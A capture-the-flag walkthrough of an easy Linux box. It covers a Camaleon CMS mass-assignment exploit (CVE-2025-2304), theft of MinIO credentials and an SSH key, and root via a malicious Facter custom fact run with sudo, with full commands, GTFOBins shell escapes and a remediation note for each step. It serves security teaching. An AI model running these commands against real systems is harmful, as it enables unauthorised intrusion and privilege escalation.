← all walkthroughs

Facts

Linux· Easy
owned
2026-07-05
time to own
8m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a mass-assignment flaw in Camaleon CMS (CVE-2025-2304) to promote a self-registered low-privilege account to administrator, then harvested hard-coded MinIO S3 credentials from the admin settings page. Those credentials unlocked a MinIO bucket storing a home-directory backup containing user trivia's SSH private key.

After recovering the key's passphrase, I logged in via SSH and abused a passwordless sudo rule granting unrestricted access to Facter — a Ruby-based facts tool that loads arbitrary code — to execute commands as root and complete the compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan / service fingerprinting
Mapped the attack surface: CMS on port 80, object storage on port 54321
A service scan of $TARGET returned three open ports. Port 80 ran nginx and 302-redirected requests to http://facts.htb/admin/, revealing Camaleon CMS 2.9.0. Port 54321 responded with S3-compatible API headers and a 'Server: MinIO' banner, identifying it as a private object-storage endpoint. SSH on port 22 rounded out the surface.
Exact commands 4
Version-scan the three exposed ports to identify services and banners.
nmap -sV -sC -p 22,80,54321 $TARGET
Resolve the vhost nginx redirects to.
echo "$TARGET facts.htb" >> /etc/hosts
Confirm Camaleon CMS and identify version 2.9.0.
curl -si http://facts.htb/admin/ | grep -iE 'camaleon|version'
Confirm MinIO on port 54321 via Server header.
curl -si http://$TARGET:54321/ | grep -i server
2Initial AccessMass-assignment privilege escalation / CVE-2025-2304
Self-registered an account and escalated it to administrator via CVE-2025-2304
Camaleon CMS 2.9.0 allows open self-registration. A mass-assignment flaw in the profile-update endpoint (updated_ajax) accepts a user-supplied 'role' parameter in the POST body without server-side authorization checks, letting any registered user promote their own account to admin. I registered a free account, then ran the public proof-of-concept exploit to flip the role from 'client' to 'admin'.
Exact commands 2
Fetch the public proof-of-concept.
git clone --depth 1 https://github.com/Alien0ne/CVE-2025-2304 /tmp/CVE-2025-2304
Run the exploit against me account; escalates role to admin and prints embedded S3 credentials.
python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U codex065361 -P '[REDACTED: recovered credential]' -e
FixPatch Camaleon CMS and lock down self-registrationCritical
WeaknessCamaleon CMS 2.9.0 contains a mass-assignment vulnerability (CVE-2025-2304) in the user profile-update endpoint that allows any registered user to inject a 'role' parameter in the HTTP request body and promote their own account to administrator without any additional authorization check.
FixUpdate Camaleon CMS to the latest patched release that addresses CVE-2025-2304. If open registration is not a business requirement, disable it under Admin → Settings. If it must remain open, ensure the 'role' attribute is explicitly protected against mass-assignment in the Users controller and that server-side authorization enforces that only an existing administrator may change account roles.
3Credential HarvestCredentials in application configuration / T1552.001
Read hard-coded MinIO credentials from the admin settings page
With administrator access, I visited the CMS site-settings panel. The page displayed the application's MinIO/S3 access key and secret in plain text — they were embedded directly in the application's configuration rather than stored in an environment variable or secrets manager. The CVE-2025-2304 exploit also printed these values in its output.
Exact commands 2
Exploit output includes the S3 access key ([REDACTED: recovered credential]) and secret ([REDACTED: recovered credential]) embedded in the CMS settings.
python3 /tmp/CVE-2025-2304/exploit.py -u http://facts.htb -U codex065361 -P '[REDACTED: recovered credential]' -e
Alternatively, authenticate with the admin session cookie and scrape the settings page directly.
curl -s -b '<admin_session_cookie>' 'http://facts.htb/admin/settings' | grep -iE 'access.key|secret|s3|endpoint'
FixRemove hard-coded credentials from the application and rotate immediatelyCritical
WeaknessThe application's MinIO/S3 access key and secret were stored in the CMS configuration and rendered in plaintext on the admin settings page. Anyone who gains admin-level access — including through the low-bar CVE-2025-2304 exploit — receives working infrastructure credentials instantly.
FixRotate the exposed MinIO credentials immediately ([REDACTED: recovered credential] and its secret are now public). Re-deploy the application with credentials sourced from environment variables or a secrets manager rather than a database field. Audit the entire CMS configuration for any other embedded secrets, and ensure no secrets are ever rendered in UI pages regardless of the user's role.
4DiscoveryObject storage enumeration / credential access from backup data
Enumerated MinIO bucket 'internal' and located user trivia's SSH private key
Using the harvested credentials, I authenticated to the MinIO endpoint on port 54321 and listed two buckets: 'internal' and 'randomfacts'. The 'internal' bucket contained what appeared to be a full backup of user trivia's home directory — including shell history, Bundler gem cache, and critically, .ssh/id_ed25519 (an Ed25519 private key) and .ssh/authorized_keys confirming the key was accepted on the host.
Exact commands 3
List all buckets and objects in 'internal' via boto3 (mc client was not available during the engagement).
python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
    aws_access_key_id='[REDACTED: recovered credential]',
    aws_secret_access_key='[REDACTED: recovered credential]')
print([b['Name'] for b in s3.list_buckets()['Buckets']])
for o in s3.list_objects_v2(Bucket='internal').get('Contents', []):
    print(o['Key'])
"
Download the private key and authorized_keys file from the internal bucket.
python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://$TARGET:54321',
    aws_access_key_id='[REDACTED: recovered credential]',
    aws_secret_access_key='[REDACTED: recovered credential]')
s3.download_file('internal', '.ssh/id_ed25519', '/tmp/facts_id_ed25519')
s3.download_file('internal', '.ssh/authorized_keys', '/tmp/facts_authorized_keys')
"
Alternative using mc client if installed; mc cp facts/internal/.ssh/id_ed25519 ./trivia_id_ed25519 to download.
mc alias set facts http://$TARGET:54321 [REDACTED: recovered credential] [REDACTED: recovered credential] && mc ls facts/internal --recursive
FixRemove authentication material from object storage and enforce least-privilege bucket policiesHigh
WeaknessUser trivia's SSH private key (and the rest of their home-directory backup) was stored in the MinIO 'internal' bucket, which was fully readable by the application-level S3 credential. A single credential set provided both web-application access and access to sensitive personal authentication keys.
FixImmediately rotate trivia's SSH key pair and audit all SSH authorized_keys files on the host. Remove all private keys, credentials, and personal data from both MinIO buckets. Implement separate MinIO access policies so the web application credential can only read the specific path it needs (e.g., randomfacts/) with no access to home-directory backups or .ssh directories. Never store SSH private keys, passwords, or certificates in general-purpose object storage.
5Credential AccessSSH private key passphrase recovery / T1552.004
Recovered the SSH key passphrase and stripped it for non-interactive use
The downloaded private key was passphrase-protected. The key's comment field ('[REDACTED: recovered credential]') confirmed the owner. The passphrase '[REDACTED: recovered credential]' was identified and validated against the key. A passphrase-free copy was then created so the key could be used non-interactively in subsequent SSH commands.
Ssh-keygen -y -P '[REDACTED: recovered credential]' -f /tmp/facts_id_ed25519 printed passphrase ok
Exact commands 3
Set correct permissions so ssh-keygen accepts the file.
chmod 600 /tmp/facts_id_ed25519
Validate the passphrase '[REDACTED: recovered credential]'; prints the public key on success.
ssh-keygen -y -P '[REDACTED: recovered credential]' -f /tmp/facts_id_ed25519 > /tmp/facts_id_ed25519.pub && echo 'passphrase ok'
Strip the passphrase from the key copy for non-interactive SSH use.
cp /tmp/facts_id_ed25519 /tmp/facts_id_ed25519_nopass && ssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/facts_id_ed25519_nopass
6FootholdSSH authentication with stolen private key / T1078
Logged in as 'trivia' over SSH using the stolen key and captured user.txt
With a passphrase-free copy of the private key, I authenticated to the target host as user trivia (uid=1000). This provided an interactive shell as an unprivileged local user and allowed reading the user flag from trivia's home directory.
Kill-chain foothold phase confirmed uid=1000(trivia) via ssh -i facts_id_ed25519_nopass trivia@$TARGET
Exact commands 2
Authenticate as trivia using the decrypted key; lands an interactive shell.
ssh -i /tmp/facts_id_ed25519_nopass -o StrictHostKeyChecking=no trivia@$TARGET
Confirm uid=1000(trivia) and read the user flag -> <user.txt>
id && cat ~/user.txt
7Privilege EscalationSudo abuse — Facter custom-fact code injection / GTFOBins
Injected arbitrary Ruby into Facter via passwordless sudo and read root.txt
Listing sudo rights (sudo -l) showed that user trivia could run /usr/bin/facter as root without any password and with no argument restrictions. Facter is a system-facts collector that accepts a --custom-dir flag pointing to a directory of Ruby '.rb' files; it executes the setcode block of each custom fact as the invoking user. Because the invocation ran as root, a one-line Ruby fact that called shell backtick execution ran with full root privileges, yielding the root flag without needing a persistent root shell.
Sudo /usr/bin/facter --custom-dir=/tmp/factsroot pwn returned uid=0(root) output and root.txt content
Exact commands 4
List passwordless sudo rights; confirms (ALL) NOPASSWD: /usr/bin/facter.
sudo -n -l
Create a staging directory for the malicious custom fact.
mkdir -p /tmp/factsroot
Write a Facter custom fact whose setcode block executes an arbitrary shell command as root.
printf 'Facter.add(:pwn) do\n  setcode do\n    `/bin/bash -c "id; cat /root/root.txt"`\n  end\nend\n' > /tmp/factsroot/pwn.rb
Load and execute the malicious fact via sudo; output includes uid=0(root) and root.txt -> <root.txt>
sudo /usr/bin/facter --custom-dir=/tmp/factsroot pwn
FixRemove unrestricted passwordless sudo access to FacterCritical
WeaknessThe /etc/sudoers file granted user trivia the right to run /usr/bin/facter as root without a password and without any argument restrictions. Because Facter's --custom-dir flag loads and executes arbitrary Ruby code, this rule is functionally equivalent to granting an unrestricted root shell to anyone who gains trivia's account.
FixRemove the NOPASSWD facter entry from /etc/sudoers immediately (visudo). If Facter must occasionally be run with elevated privileges for a legitimate operational task, define a narrow sudoers command alias that specifies the exact flags permitted and explicitly excludes --custom-dir, and require password authentication. Apply the principle of least privilege across all sudoers entries and audit them periodically.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
54321/tcp